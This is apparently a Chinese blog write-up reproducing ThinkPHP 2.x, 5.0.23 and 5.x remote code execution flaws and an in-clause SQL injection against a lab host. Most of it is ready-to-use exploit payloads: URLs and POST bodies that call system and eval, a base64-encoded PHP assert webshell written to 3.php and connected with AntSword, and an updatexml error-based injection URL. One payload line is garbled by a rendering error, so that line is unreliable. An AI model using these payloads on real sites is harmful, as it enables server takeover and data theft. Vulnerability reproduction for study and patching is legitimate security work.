【thinkphp漏洞复现】2-RCE+5.0.23-RCE+5-RCE远程代码执行漏洞+in-sqlinjectionSQL注入漏洞

本文详细介绍了ThinkPHP框架在2.x、5.0.23及5.x版本中存在的远程代码执行(RCE)漏洞,以及一个SQL注入漏洞。这些漏洞允许攻击者通过构造特定的请求参数,执行任意PHP代码或进行SQL注入,可能导致数据泄漏、服务器控制权被获取。修复措施包括更新到最新版本和加强输入验证。
摘要由CSDN通过智能技术生成

参考文章:https://blog.csdn.net/weixin_43071873/article/details/110084577

一、2-RCE

漏洞详情:

ThinkPHP是一个免费开源的一个PHP开发框架。ThinkPHP2.x版本中,使用preg_replace/e模式匹配路由:

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)

如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;/e可执行模式,此为PHP专有参数,例如preg_replace函数。

implode(depr,paths)作用就是把路径当作参数放进了数组$depr里面

1.构造poc:?s=/index/index/name/$%7B@phpinfo()%7D,phpinfo执行成功证明存在漏洞

2.直接用system调用命令好像不行,可能因为中间掺杂了一些符号,可利用eval函数进行绕过。

?s=/index/index/L/KaTeX parse error: Expected '}', got 'EOF' at end of input:{@print(eval(_POST[1]))}

3.使用蚁剑连接地址为:(加$号)

http://192.168.225.139:8080/?s=/index/index/L/${@print(eval($_POST[1]))}

成功getshell

二、5.0.23-RCE

漏洞概况

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

漏洞危害

攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。

1.利用system函数远程命令执行,利用bp抓包,修改请求方式,使用poc进行攻击:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

2.pwd查询到路径,尝试使用echo写入一句话木马:(尝试了很久都不能写入,最终发现echo不能换行,返回500状态码,但是可以访问了,如果还是无法写入,就进行base64编码写入,只不过连接蚁剑的时候要选择base64)

Base64编码:

3.使用蚁剑进行连接:

三、5-RCE

漏洞原因:

ThinkPHP其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

1.直接访问

/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

即可执行phpinfo:

2.修改一下payload,执行system命令,尝试写入一句话getshell:

http://192.168.225.139:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n MTIzPD9waHAgQGFzc2VydCgkX1BPU1RbJzEnXSk7Pz4xMjM= | base64 -d >3.php

四、in-sqlinjection

漏洞成因:

Builder类的parseData方法中,由于程序没有对数据进行很好的过滤,将数据拼接进SQL语句,导致SQL注入漏洞的产生。控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

1.爆出用户名和密码:

http://192.168.225.139/index.php?ids[]=1&ids[]=2

2.错误回显敏感信息,获取user()信息:

http://192.168.225.139/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

payload构造:http://IP/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

3.这好像是一个比较鸡肋的SQL注入漏洞。

预编译是mysql服务端进行的,但是预编译的过程是不接触数据的,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来

研究参考文章:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值